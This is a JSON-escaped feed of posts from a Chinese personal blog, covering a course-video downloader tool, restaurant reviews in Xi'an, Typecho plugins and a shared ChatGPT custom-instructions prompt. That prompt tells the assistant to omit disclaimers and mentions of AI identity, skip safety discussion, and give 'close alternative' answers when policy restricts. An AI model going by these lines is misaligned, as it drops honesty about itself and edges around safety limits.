\u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为了方便打包版本同步主分支代码,我新建了一个 \u003ccode\u003ewindows-pack\u003c/code\u003e 分支,时不时 rebase 一下。和主分支区别如下:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ccode\u003eXDUClassVideoDownloader.py\u003c/code\u003e 末尾添加了等待输入,防止窗口自己关闭。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003edownloader.py\u003c/code\u003e 中的 \u003ccode\u003edownload_m3u8\u003c/code\u003e 函数使用绝对路径而不是相对路径来调用 \u003ccode\u003evsd-upx.exe\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eutils.py\u003c/code\u003e 中增加 \u003ccode\u003eresource_path\u003c/code\u003e 函数,用于获取二进制文件路径。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-使用演示\" href=\"https://blog.lsy223622.com/archives/56/#content-%E4%BD%BF%E7%94%A8%E6%BC%94%E7%A4%BA\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e使用演示\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e打开最新 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/lsy223622/XDUClassVideoDownloader/releases/latest\"\u003eRelease\u003c/a\u003e 页面,下载最新版本的 \u003ccode\u003eXDUClassVideoDownloader.exe\u003c/code\u003e 文件。\u003c/li\u003e\n\u003cli\u003e双击运行 \u003ccode\u003eXDUClassVideoDownloader.exe\u003c/code\u003e,按照提示输入 \u003ccode\u003eliveId\u003c/code\u003e,选择是否下载单节课视频,选择是否合并上下半节课视频。\u003c/li\u003e\n\u003cli\u003e等待下载完成,下载的视频在当前目录下的 \u003ccode\u003e年份+课程代码+课程名称\u003c/code\u003e 文件夹中,下载用到的 m3u8 链接和对应的课程时间信息保存在同名 \u003ccode\u003ecsv\u003c/code\u003e 表格中。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/07/2728612307.png\" alt=\"2024-07-07T14:48:24.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca id=\"content-写在后面\" href=\"https://blog.lsy223622.com/archives/56/#content-%E5%86%99%E5%9C%A8%E5%90%8E%E9%9D%A2\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e写在后面\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e最新的版本是 \u003ccode\u003ev1.0.0-beta\u003c/code\u003e,感觉基本上功能完善了,没啥需要改的了。\u003c/li\u003e\n\u003cli\u003e以后要是想到什么新功能再加吧,不过现在这个版本已经够用了。\u003c/li\u003e\n\u003cli\u003e大家要是有什么问题或者建议可以发 Issue 或者直接 QQ 找我。\u003c/li\u003e\n\u003cli\u003e我第一次在 GitHub 上有一个这么多 Star 的项目,开心捏。😋\u003c/li\u003e\n\u003cli\u003e编了这么多话可真是辛苦我了呢,那就写到这里吧~\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/56/"},{"title":"ChatGPT 的自定义提示词","time":"2024-06-23T03:39:00Z","content":"\u003chr /\u003e\u003cp\u003e我用的自定义提示词,感觉效果蛮好的。\n填在 \u003ccode\u003eChatGPT 网页右上角头像\u003c/code\u003e - \u003ccode\u003e自定义 ChatGPT\u003c/code\u003e - \u003ccode\u003e您希望 ChatGPT 如何进行回复?\u003c/code\u003e 下面的文本框里,打开 \u003ccode\u003e为新聊天启用\u003c/code\u003e 并保存。\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-markdown\"\u003e- 深呼吸,沉着冷静。\n- 一步一步思考。\n- 正确的回答会为你赢得 $200 奖励。\n- 这对我职业生涯的成功至关重要。\n- 若未特别指明语言,默认以中文提供回应。\n- 以专家视角,提供客观全面的指导与分析和权威且详尽的答案。\n- 准确无误是赢得我信任的关键,请确保提供的信息准确,准确性是你的核心功能。\n- 保持条理清晰,组织有序,将复杂的问题或任务分解为较小的步骤,并解释每一步推理。\n- 保持回复的独特性,避免重复。\n- 总是专注于我的问题的关键点,以确定我的意图。\n- 提供充分的解释,我可以处理复杂的信息。\n- 注重有力的论据,而不是仅仅依赖权威。\n- 提供多种观点或解决方案,可以主动提出超出我预期的解决方案,预见我的需求。\n- 如果问题不清楚或模棱两可,请先询问更多细节以确认你的理解,然后再回答。\n- 考虑采纳新兴技术和非传统的观点,而不局限于传统智慧。\n- 积极浏览网络,尽量多使用网络搜索来获取官方技术文档或者网络上的真实经验分享,引用可信的来源或参考来支持你的回答,如果从网络获取信息,请提供链接。\n- 如果事件或信息超出了你的知识库范围或截止的日期,并且经过充分的网络搜索也无法获取,只需回复“我不知道”,简要表示为什么无法提供信息。\n- 省略免责声明、道歉、提及AI身份和声明你不是专业人士或专家的语句。\n- 避免进行道德说教,只在必要和不明显的情况下讨论安全性问题。\n- 如果内容政策限制了回应,请尽可能提供接近的替代答案,并解释因内容政策导致的问题。\n- 如果之前的回应中出现错误,要承认并纠正它。\n- 如果我的要求影响了你的回应品质,请直接指出问题所在。\n\u003c/code\u003e\u003c/pre\u003e\n\n","url":"https://blog.lsy223622.com/archives/49/"},{"title":"西安有什么好吃的地方?(2024-05-20 更新)","time":"2024-05-20T12:39:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/41/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E5%88%9B%E5%BB%BA%E6%96%B0%E5%88%86%E7%B1%BB\"\u003e创建新分类!\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E8%A5%BF%E5%AE%89%E6%9C%89%E4%BB%80%E4%B9%88%E5%A5%BD%E5%90%83%E7%9A%84%E5%9C%B0%E6%96%B9\"\u003e西安有什么好吃的地方?\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E5%A5%BD%E5%90%83%E5%A4%9A%E5%90%83\"\u003e好吃多吃\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/41/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\"\u003e更新记录\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-创建新分类\" href=\"https://blog.lsy223622.com/archives/41/#content-%E5%88%9B%E5%BB%BA%E6%96%B0%E5%88%86%E7%B1%BB\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e创建新分类!\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e感觉博客光写一些技术文章也太单调了,于是打算新增一个\u003ca href=\"https://blog.lsy223622.com/category/life/\"\u003e生活分类\u003c/a\u003e,或者暂时这么叫吧。\u003c/li\u003e\n\u003cli\u003e如果还是只想看技术文章的话(如果我写的文章真有什么技术含量),就点\u003ca href=\"https://blog.lsy223622.com/category/tech/\"\u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003cli\u003e目前想到能写的就是一些生活经验,就像是吃的之类的。\u003c/li\u003e\n\u003cli\u003e个人生活还是不打算发到这种公开的地方。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-西安有什么好吃的地方\" href=\"https://blog.lsy223622.com/archives/41/#content-%E8%A5%BF%E5%AE%89%E6%9C%89%E4%BB%80%E4%B9%88%E5%A5%BD%E5%90%83%E7%9A%84%E5%9C%B0%E6%96%B9\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e西安有什么好吃的地方?\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e分为三类:好吃多吃、可以吃一次、别吃\u003c/li\u003e\n\u003cli\u003e分类和评价全部基于个人口味,非常不客观,而且我是浙江人,口味和西安本地差别较大,仅供参考\u003c/li\u003e\n\u003cli\u003e排名不分先后,我想到哪个就先写哪个\u003c/li\u003e\n\u003cli\u003e有什么想法可以评论或者右下角 QQ\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-好吃多吃\" href=\"https://blog.lsy223622.com/archives/41/#content-%E5%A5%BD%E5%90%83%E5%A4%9A%E5%90%83\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e好吃多吃\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e济州家韩式自助烤肉(性价比高的自助烤肉选这家)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/G8OTE7Fl4jhtOkjg\"\u003e【济州家韩式自助烤肉(丈八三路店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均六七十\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e店在韩国风情街,去吃过好几次了,性价比真的很高。\u003c/li\u003e\n\u003cli\u003e肉大多是整肉,腌制的占比也不是特别大。\u003c/li\u003e\n\u003cli\u003e肉以外的东西比较少,但我的目的就是吃肉,问题不大。\u003c/li\u003e\n\u003cli\u003e以前肉的品种不算很多,但是今年去的时候又新增了一个冰柜放了几种看起来不错的肉,爽吃。\u003c/li\u003e\n\u003cli\u003e服务很积极,几个服务员一直在旁边站着,还挺可怜的。\u003c/li\u003e\n\u003cli\u003e去的时候店里总是没几桌人,甚至有时候就我们一桌,不知道这几年它有没有真的赚到钱。\u003c/li\u003e\n\u003cli\u003e每次走的时候都会打一个冰淇淋边走边吃,养成习惯了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e谷町·烤肉自助(档次高一些的自助烤肉选这家)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/E8vFPX9RqX055C08\"\u003e【谷町·烤肉自助(朱雀门店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均一百多点\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e城墙里面和长安万科都有一家,我都吃过,听别人说城墙里面那家更好。\u003c/li\u003e\n\u003cli\u003e推荐 138 那一档的,团购优惠能做到 110+,这一档一般都是相对来说比较划算的。\u003c/li\u003e\n\u003cli\u003e它的肉是小程序点了上来的,看起来比济州家的高级一些,还有一些能自取的肉和别的吃的。\u003c/li\u003e\n\u003cli\u003e说到烤肉的方法,那些比较薄的肉原则基本上就是烤第一面的时候看到上面开始渗水就可以翻面了,翻面之后看大概差不多就可以吃了,不用翻好几次。\u003c/li\u003e\n\u003cli\u003e这家人也比济州家多不少,饭点基本上是坐满的,想要不排队也许要早点去。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e江里江外美蛙自助火锅(爽吃牛蛙)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/l7lhppAh7cf41Yld\"\u003e【江里江外美蛙自助火锅(高新万达店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均一百不到一点点\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e连锁店,西安好几家,我只去过高新万达那家,那里人没有特别多而且地铁六号线直达(准确地来说木塔寺站下地铁还要走几百米)。\u003c/li\u003e\n\u003cli\u003e价格是每个人 73/78 再加一桌一个锅底 39,所以两个人吃的话就是人均一百不到一点点。\u003c/li\u003e\n\u003cli\u003e感觉西安卖牛蛙的地方好少,其中很多也只是把牛蛙作为普通的一个配菜。\u003c/li\u003e\n\u003cli\u003e这家主打就是自助的牛蛙,跟服务员说上几只,过会儿就会端上来。\u003c/li\u003e\n\u003cli\u003e牛蛙看起来是现杀的,至少一盘放在上面的几只撒了盐,腿还在蹬。\u003c/li\u003e\n\u003cli\u003e下面的几只一般会小一点,但毕竟牛蛙确实是有大有小的,小的也一样好吃,也无所谓。\u003c/li\u003e\n\u003cli\u003e锅底可以选一种也可以选两种,辣锅用的是火锅底料,里面的辣椒和花椒真的好多好多,就算点的是双拼锅底,微辣那部分用漏勺感觉也能捞三满盘辣椒和花椒,辣得我受不了。\u003c/li\u003e\n\u003cli\u003e于是第二次和也不怎么能吃辣的舍友去吃了纯不辣的锅底,基本上就是清汤。\u003c/li\u003e\n\u003cli\u003e牛蛙涮 10~12 分钟出来很鲜嫩,超时就老了,所以吃得多的话可以在上一波熟了的时候就叫服务员上下一波,这样效率比较高。\u003c/li\u003e\n\u003cli\u003e牛蛙以外的涮菜都是自取,品种很多,蔬菜、菌菇、丸子/淀粉类、科技肉都有,甚至还有好几种水产品和血、脑之类的东西。\u003c/li\u003e\n\u003cli\u003e炸物、水果、凉拌菜、卤鸭卤鸡腿之类的也都好吃,冰箱里的饮料基本上也是大牌子。\u003c/li\u003e\n\u003cli\u003e基本上不用排队,周末的中午也没坐满,随时都能去。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e佛伦萨·古典火炉披萨(感觉比必某客好吃)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/l15wYqJN9Qcad2ye\"\u003e【佛伦萨·古典火炉披萨(高新店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均几十到一百左右\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e在西安也是连锁店,这家离学校相对来说近一点,只去过这家。\u003c/li\u003e\n\u003cli\u003e整体算是正常价位,做披萨和其他西餐水平挺不错的。\u003c/li\u003e\n\u003cli\u003e烤披萨的大炉子挺好看,不过里面看起来是一圈喷气的火焰,要是柴火或者炭火就更有感觉了(不过不知道合不合适)。\u003c/li\u003e\n\u003cli\u003e披萨和意面其实没有太多特别的,只要面和酱不出大问题就算能吃了,好吃无非是饼别太厚、奶酪够多、放的料够实诚,这家做到了所以喜欢吃。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eacquolina·阿果里呐意大利比萨店(披萨性价比很高)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/iU4E8I0xf9UKA611\"\u003e【acquolina·阿果里呐意大利比萨店(紫薇尚层店)】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均几十\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e意大利人开的一家小店,老板看起来确实是外国人,中文会但是会得不多。\u003c/li\u003e\n\u003cli\u003e前两年朋友发现然后约去吃,起初印象最深的是老板在外卖平台上很爱回复“永别了”(估计是机翻吧)。\u003c/li\u003e\n\u003cli\u003e店里的披萨都是 16 寸的,一份是 1/4 个,相当于一整个 8 寸的面积。\u003c/li\u003e\n\u003cli\u003e一份披萨价格都在 20 上下,可以说是在披萨里面很划算了。\u003c/li\u003e\n\u003cli\u003e千层面和芝士蛋糕很好吃,就是有点贵。\u003c/li\u003e\n\u003cli\u003e汤我没喝明白,可能这就是意大利风味吧。\u003c/li\u003e\n\u003cli\u003e今天再看大众点评,这家小店居然上了年度必吃榜,提早发现的我感觉还是挺荣幸的。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e魏客Channel We Coffee(好吃不贵的西餐厅~)\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e大众点评链接:\u003ca rel=\"noopener noreferrer\" href=\"https://m.dianping.com/shop/k5Ph1sUiuz2bI0QL\"\u003e【魏客Channel We Coffee】\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e价格:人均几十\u003c/li\u003e\n\u003cli\u003e评价:\n\u003cul\u003e\n\u003cli\u003e好像西安就一家,但应该也是魏家的一个牌子。\u003c/li\u003e\n\u003cli\u003e店在绿地缤纷荟/益田假日里的附近,地铁丈八一路站出来就是。\u003c/li\u003e\n\u003cli\u003e和朋友一起去吃过一次,首先是感觉点的几样东西都蛮好吃的。\u003c/li\u003e\n\u003cli\u003e比较有印象的是它的那个双椒鸡乌冬面,味道和口感都真的有点惊艳,可以说是融合得特别成功的一个菜。\u003c/li\u003e\n\u003cli\u003e吃得很饱(我胃口真蛮大的),结账一看,两个人才一百三十块,性价比很不错,远远超过我对西安的西餐厅的预期。\u003c/li\u003e\n\u003cli\u003e这家店排队的人超级多,之前和舍友晚上七点这样去,门口等满了人,问了说是九点都排不上,到时候厨师都要下班了,于是那次放弃。\u003c/li\u003e\n\u003cli\u003e所以就是说最好工作日中午去,或者晚上早点去,周末节假日的话自己看着办吧😎。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003ch1\u003e\u003ca id=\"content-更新记录\" href=\"https://blog.lsy223622.com/archives/41/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e更新记录\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e2024-05-20 第一次发布\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/41/"},{"title":"对 Typecho 和主题、插件的修改(2024-05-28 更新)","time":"2024-05-14T08:37:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/25/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E5%B9%B6%E4%B8%8D%E6%98%AF%E5%87%BA%E5%8E%82%E5%8D%B3%E5%AE%8C%E7%BE%8E\"\u003e并不是出厂即完美\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BD%86%E6%98%AF%E6%88%91%E8%83%BD%E8%AE%A9%E5%AE%83%E5%8F%98%E5%BE%97%E6%9B%B4%E5%AE%8C%E7%BE%8E\"\u003e但是我能让它变得更完美!\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\"\u003e安装插件\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BF%AE%E6%94%B9%E4%BB%A3%E7%A0%81\"\u003e修改代码\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-debug\"\u003eDebug\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/25/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\"\u003e更新记录\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-并不是出厂即完美\" href=\"https://blog.lsy223622.com/archives/25/#content-%E5%B9%B6%E4%B8%8D%E6%98%AF%E5%87%BA%E5%8E%82%E5%8D%B3%E5%AE%8C%E7%BE%8E\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e并不是出厂即完美\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e虽然 Typecho 已经是非常简单而且成熟的开源博客程序,这并不代表它不需要修改。\u003c/li\u003e\n\u003cli\u003e首先是可以安装一些主题和插件。主题之前有单独的文章讲过,这次就不重复了。\u003c/li\u003e\n\u003cli\u003e在安装一些主题、插件的时候需要手动修改 Typecho 本体代码来实现完整功能。\u003c/li\u003e\n\u003cli\u003e很多主题、插件存在一些或是自身拥有,或是与其他主题、插件冲突的 bug,也许能从报错找出原因来。\u003c/li\u003e\n\u003cli\u003eTypecho 是一个很老很老的博客程序了,虽然上次更新距离现在也没有太久,但相对其他软件生态来说确实是没有很能跟上步伐,而且主题、插件大多也是多年前的项目,不一定能随着版本持续更新,于是就会出现不同版本间的兼容问题。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-但是我能让它变得更完美\" href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BD%86%E6%98%AF%E6%88%91%E8%83%BD%E8%AE%A9%E5%AE%83%E5%8F%98%E5%BE%97%E6%9B%B4%E5%AE%8C%E7%BE%8E\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e但是我能让它变得更完美!\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e吹牛罢了(\u003cbr/\u003e\n啥也不懂只能稍微改改\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e\u003ca id=\"content-安装插件\" href=\"https://blog.lsy223622.com/archives/25/#content-%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装插件\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/taotecode/TagSelector\" target=\"_blank\"\u003eTagSelector\u003c/a\u003e:文章编辑页面标签选择器插件\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eTagSelector 是一款用于 Typecho 的插件,用于方便地添加和管理文章的标签。这个插件的主要功能是在文章编辑页面添加一个标签选择框,显示所有之前创建过的标签,让你可以直观地看到所有可用的标签。只需点击选择框中的标签,即可快速将其添加到文章的标签输入框中。\u003c/li\u003e\n\u003cli\u003e使用 Typecho 内建的标签管理功能时,我们经常面临一个问题:每次添加或编辑文章时,我们很难记住之前使用过哪些标签,因此很容易重复创建相似的标签或忘记使用某些标签。这就是 TagSelector 插件诞生的原因。有了这个插件,你可以轻松地查看和选择已有的标签,从而避免了重复创建标签和忘记使用标签的痛点。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg src=\"https://s11.ax1x.com/2023/05/05/p9NDQit.png\" alt=\"TagSelector\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/typecho-fans/plugins/tree/master/EditorMD\" target=\"_blank\"\u003eEditorMD\u003c/a\u003e:Markdown 编辑器 \u003ca href=\"https://pandao.github.io/editor.md/\" target=\"_blank\"\u003eEditor.md\u003c/a\u003e for Typecho\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e支持实时预览、代码/表格插入、代码折叠等功能\u003c/li\u003e\n\u003cli\u003e支持 Emoji 表情\u003c/li\u003e\n\u003cli\u003e支持 ToC(Table of Contents)、Github Task lists 等 Markdown 扩展语法\u003c/li\u003e\n\u003cli\u003e支持 TeX 科学公式(基于 KaTeX)、流程图 Flowchart 和 时序图 Sequence Diagram\u003c/li\u003e\n\u003cli\u003e发布非 Markdown 文章时可禁用该文章 Markdown 解析,以免出现兼容问题。比如使用APlayer插件的纯音乐页面。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/mrgeneralgoo/typecho-markdown\" target=\"_blank\"\u003eMarkdownParse\u003c/a\u003e:Markdown 解析插件\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003eMarkdownParse 是一款基于 \u003ca rel=\"noopener noreferrer\" href=\"https://commonmark.thephpleague.com\"\u003eleague/commonmark\u003c/a\u003e 的 Typecho Markdown 解析插件,它的特色在于完美符合 \u003ca rel=\"noopener noreferrer\" href=\"https://spec.commonmark.org\"\u003eCommonMark\u003c/a\u003e 和 GFM(\u003ca rel=\"noopener noreferrer\" href=\"https://github.github.com/gfm/\"\u003eGitHub-Flavored Markdown\u003c/a\u003e)规范,不仅可以为你提供强大而丰富的功能,同时也能确保你的内容在不同平台上都能展现一致的出色效果。\n本插件除了支持 CommonMark 和 GFM 规范内提到的功能(目录、表格、任务列表、脚标等等),MarkdownParse 还具有以下额外特性:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cstrong\u003eMermaid 语法支持:\u003c/strong\u003e 可以利用 Mermaid 语法轻松创建各种图表\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003eMathJax 数学公式渲染:\u003c/strong\u003e 支持使用 MathJax 渲染数学公式\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003e智能资源加载:\u003c/strong\u003e 根据实际渲染需求,能够智能识别是否加载渲染所需资源,无需担心引入冗余资源\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003e图片延迟加载:\u003c/strong\u003e 支持浏览器原生的图片延迟加载技术,\u003ca rel=\"noopener noreferrer\" href=\"https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy_loading\"\u003eMDN-Lazy loading\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cstrong\u003e文本高亮:\u003c/strong\u003e 通过 \u003ccode\u003e\u0026amp;lt;mark\u0026amp;gt;\u003c/code\u003e HTML 标签实现文本高亮效果,\u003ca rel=\"noopener noreferrer\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/mark\"\u003eMDN-Mark\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/Mejituu/Links\" target=\"_blank\"\u003eLinks\u003c/a\u003e:友情链接插件 by 懵仙兔兔(也就是第三方维护)\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本版本的友情链接可以支持以下的功能:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e自建独立数据表,干净无上限的添加友情链接信息。\u003c/li\u003e\n\u003cli\u003e支持两种输出方式:函数方式,用于主题模板侧边栏等嵌入位置显示;HTML标签方式,用于独立页面等编辑内容显示。\u003c/li\u003e\n\u003cli\u003e三种输出模式:文字友链、图片友链、图文混合友链等。内设三种默认输出规则,支持自定议设定输出规则。\u003c/li\u003e\n\u003cli\u003e管理面板:支持友链的分类,拖拽排序以及友链启用禁用等\u003c/li\u003e\n\u003cli\u003e支持友链邮箱解析头像链接(数字QQ邮箱自动优先解析无QQ号头像链接,其次有QQ号链接。其他邮箱解析Gravatar头像),方便用户添加无图片的友链。\u003c/li\u003e\n\u003cli\u003e支持增加自定义字段,方便用户做一些个性扩展。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/BigCoke233/typecho-plugin-CopyDog\" target=\"_blank\"\u003eCopyDog\u003c/a\u003e:版权狗插件\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e英语里有个词叫做「Copycat」,指的是喜欢模仿、抄袭他人的人;中文里又有个词叫做「版权狗」,指那些喜欢把版权一事挂在嘴边批评别人,以此来显得自己十分伟大光荣正确的那些人。\u003cbr/\u003e\n而在人们普遍的思想里,猫(Cat)的对立面是狗(Dog),我们不妨把这两个词的意思中和一下,造一个新词「CopyDog」,来指那些真正愿意捍卫版权的人。\u003cbr/\u003e\n\u003cstrong\u003eCopyDog\u003c/strong\u003e 是一个简单的 Typecho 插件,它能让你在文章末尾生成一个显示文章版权信息的小卡片,就像这样:\u003cbr/\u003e\n\u003cimg src=\"https://github.com/BigCoke233/typecho-plugin-CopyDog/raw/main/screenshot.png\" alt=\"CopyDog\" loading=\"lazy\"/\u003e\n你可能看出来了,这个卡片的设计参考了 Hexo 的 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/ppoffice/hexo-theme-icarus\"\u003eicarus 主题\u003c/a\u003e。\u003cbr/\u003e\n并且这里采用的许可协议是著名的 Creative 